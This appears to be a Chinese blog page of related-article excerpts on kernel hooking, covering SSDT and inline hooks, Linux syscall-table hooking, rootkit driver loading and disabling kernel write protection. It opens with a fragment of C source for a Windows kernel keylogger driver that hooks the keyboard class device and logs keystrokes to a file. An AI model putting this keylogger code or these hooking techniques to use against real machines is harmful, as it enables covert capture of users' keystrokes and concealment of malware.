相关推荐
-
hook以驱动方式注入内核源代码
C语言写的ROOT记录器,编译通过了.#include "stdafx.h" #include "ScanCode.h" #include "DriverEntry.h" #include <stdarg.h> const WCHAR *DEVICE_NAME = L"\\Device\\MonkeyKingDeviceName"; const WCHAR *SYMOBL_NAME = L"\\??\\MonkeyKingSymbolicName"; const char *NT_DEVICE_NAME = "\\Device\\KeyboardClass0"; const char *LOG_FILE_NAME = "\\DosDevices\\c:\\MonkeyKing.txt"; int numPendingIrps = 0; /*---------------------------------------------------------------------------------------------------------------------------------------------*/ /************************************************************************ * 函数名称:DriverEntry * 功能描述:初始化驱动程序,定位和申请硬件资源,创建内核对象 * 参数列表: pDriverObject:从I/O管理器中传进来的驱动对象 pRegistryPath:驱动程序在注册表的中的路径 * 返回 值:返回初始化驱动状态 *************************************************************************/ STDAPI_(NTSTATUS) DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath ) { NTSTATUS retValue = STATUS_SUCCESS; TRACEMSG("初始化例程..."); pDriverObject->DriverUnload = OnUnload; for (INT32 i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++){ pDriverObject->MajorFunction[i] = DispatchHandler; } pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead; TRACEMSG("初始化例程...完成"); //创建设备。 TRACEMSG("创建设备..."); PDEVICE_OBJECT pKeyboardDevice = NULL; if (!NT_SUCCESS(retValue = CreateDevice(pDriverObject, &pKeyboardDevice))) { TRACEMSG("创建设备...失败"); return retValue; } TRACEMSG("创建设备...完成。键盘设备对象指针为:0x%x", pKeyboardDevice); //挂接设备。 TRACEMSG("挂接设备..."); if (!NT_SUCCESS(retValue = HookKeyboard(pKeyboardDevice))) { TRACEMSG("挂接设备...失败"); return retValue; } TRACEMSG("挂接设备...完成"); TRACEMSG("初始化线程..."); if (!NT_SUCCESS(retValue = InitThreadLogger(pDriverObject))) { TRACEMSG("初始化线程...失败"); return retValue; } TRACEMSG("初始化线程...完成");
-
Rootkit---HOOK内核驱动
当插入一个内核驱动时,一般会使用工具insmod,该工具实际上调用了系统调用init_module,在该系统调用函数中,首先调用 load_module,把用户空间传入的整个内核模块文件创建成一个内核模块,返回一个struct module结构体。内核中便以这个结构体代表这个内核模块。 init_module系统调用定义,可以看到主要是调用了load_module。 在load_module中,主要prepare_coming_module,准备将内核模块进行加载。 prepare_coming_mo
-
hook API系列---理解内核hook
hook分为应用层hook 和内核级hook, 应用层的hook在这里不做讨论。 内核级的hook分为 1. ssdt hook 2. inline hook 关于这两种hook举个比较形象的例子。 假如我是第一次进入A2大楼去财务科找小赵办手续, 在A2门口有一张大楼位置表 写着: 321 : 财务科 我的办事顺序是: 1. 去位置表
-
linux系统下的各种hook方式\Linux内核hook系统调用
文章目录一、linux系统下的各种hook方式1. 函数指针hook2. 动态库劫持3. Linux系统调用劫持 hook4. 堆栈式文件系统5. LSM二、Linux内核hook系统调用 一、linux系统下的各种hook方式 在计算机中,基本所有的软件程序都可以通过hook方式进行行为拦截,hook方式就是改变原始的执行流, Linux平台上常见的拦截: 修改函数指针。 用户态动态库拦截。 内核态系统调用拦截。 堆栈式文件系统拦截。 LSM(Linux Security Modules) 1. 函数
-
linux内核态hook模块
linux内核支持动态加载module,今天不聊正常的module,只简单看一下实现Hook的module. hook通常翻译做劫持,不过这个翻译听起来让人不舒服,感觉有点恐怖,所以大家都是喊行话:hook. 上图是经典的堆栈式hook,也是splice典型的做法,在原有的流程中插入hook,更加典型的做法是栈在调用过程中从funcA->funcB变成了funcA->hook->...
-
国内外安全网站网址大集合
国内安全 http://security.zz.ha.cn/ 起点安全,有相当不错的原创内容 国内安全 http://www.shopsky.com/ flashsky的个人主页 国内安全 http://www.safechina.net 有较多原创内容的安全站 国内安...
-
linux内核hook技术之函数地址替换
前言 函数地址替换是一种更为简单、常见的hook方式,比如对security_ops、sys_call_table等结构中的函数进行替换,来完成自己的安全权限控制。 其中security_ops是LSM框架中所使用的,sys_call_table是系统调用表结构。当然了,这些结构目前在内核中都已经是只读数据结构了,如果想直接进行函数替换的话,首先就是考虑解决关闭写保护的问题。在下面的模块例子中,演示了重置cr0寄存器写保护位及其 修改内存页表项属性值两种关闭写保护方式,有兴趣的朋友可对...
-
内核级HOOK的几种实现与应用
转帖】内核级HOOK的几种实现与应用 创建时间:2003-03-2
-
(转载)再谈进程与端口的映射
再谈进程与端口的映射创建时间:2002-02-05文章属性:原创文章来源:www.whitecell.org文章提交:ILSY (masteruser_at_263.net)Author : ilsy Email : ilsy@whitecell.org HomePage: http://www.whitecell.org 日 期:2002-02-06类 别:安全 关键字:进程 PDE
-
hook Linux 内核函数
可以尝试使用如下几种方案来拦截Linux内核函数: 使用Linux安全API 修改系统调用表 使用kprobes 拼接 使用ftrace处理程序 使用Linux安全API 从最佳实践的角度来说,我们认为使用Linux安全API的hook函数是最佳选择,因为这个接口就是为此而设计的。 内核代码的关键点包含安全函数调用,这些调用可能导致安全模块安装的回调。该模块可以研究特定操作的上下文,并决定是允许还是禁止它。不幸的是,Linux Security API有两个主要限制: 安全模块无法动态加载,因此我们需
-
操作系统笔记-7-虚拟内存
引言 上一篇笔记讲述了内存的地址空间抽象,但是还留下了问题,那就是当软件很大的时候虽然利用Swapping技术可以运行,但是每次交换整个进程的空间开销不容忽视,虽然近年来内存也有增长,但是软件大小增长的速度远大于内存增长的速度。 一个解决方法是Overlays(覆盖),Overlays将程序分割为多个片段,称为覆盖,当程序开始时,覆盖管理器加载覆盖0,执行完成后,通知覆盖管理器加载覆盖1,然后覆盖1会在覆盖0top上(如果有空间),或者直接在覆盖0(如果没空间)。虽然,换入换出覆盖块由操作系统完成,但是需要
-
linux kernel内核编程基础总结
Linux_kernel编程基础总结 时间:2015/10/9 背景:学习linux内核编程,总结学习中的经验,方便之后查看; 通常我们想弄清楚linux内核是怎么样工作的,如何使用内核接口来编写linux内核代码的第一步都是搭建一个实验环境来做试验的;这里总结一下实验环境的搭建步骤,和我的一些经验; 步骤一、搭建实验环境 这里资源文件总共有两个:hello.
-
[源码和文档分享]实现32位和64位系统的Inline Hook API
背景 API HOOK技术是一种用于改变API执行结果的技术,Microsoft 自身也在 Windows 操作系统里面使用了这个技术,如Windows兼容模式等。 API HOOK 技术并不是计算机病毒专有技术,但是计算机病毒经常使用这个技术来达到隐藏自己的目的。 本文就是向大家讲解在 32 位系统和 64 位系统下的 Inline Hook...
-
WhiteCell Come Back
终于见到了传说中的白细胞。happyinghttp://www.whitecell.org/
-
内核 HOOK ZwMapViewOfSection
转自:http://lwglucky.blog.51cto.com/1228348/284829 有部分模块加载时会调用ZwMapViewOfSection,比如进程创建时映射N份DLL到自己的虚拟空间中去.我们替换SSDT中的这个函数,过滤出是加载Kernel32.
-
通过Rust编写操作系统之内存的分页与管理介绍(下)
在上一篇文章,我们已对分段和分页的优缺点进行了介绍,并最终决定用分页技术对编写操作系统。本文,我会接着介绍分页的具体使用过程和其中所遇到的问题。 在x86_64上进行分页 x86_64体系结构使用4级页表,页面大小为4KiB。每个页表独立于级别,具有512个条目的固定大小。每个条目的大小为8个字节,因此每个表格为4KiB(512 * 8B = 4KiB)大,因此正好适合放在一个页面中。 不同...
-
必备绝技——hook大法(中)
【文章标题】: 必备绝技——hook大法( 中 )【文章作者】: LvG【作者邮箱】: LvG2008@gmail.com【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!--------------------------------------------------------------------------------【详细过程】 这次主要说说核心层的hook。包
-
Windows进程与线程---1
概述 相比于Linux中的进程管理,即创建一个线程的同时创建一个进程。而Windows中却不是这样,它是先创建一个进程作为容器,然后创建第一个线程,也就是对于CreateProcess而言,它先调用NtCreateProcess创建进程,然后调用NtCreateThread创建进程的第一个线程。 Windows进程的用户空间 一些重要的宏如下 #define MM_HIGHEST_USER_ADD...
-
内核态下基于动态感染技术的应用程序执行保护(三 获取SSDT)
分类: 技术--汇编 imageheaderstringdoshookfile (转载请注明博客地址:http://blog.csdn.net/hitetoshi) 前面我们经常提到SSDT,那么什么是SSDT呢?SSDT(SystemServices Descriptor Table):系统服务描述符表。要对它有清楚的认识,我们先以用户态下调用CreateThr
1 楼 骨之灵魂 2012-08-20 09:11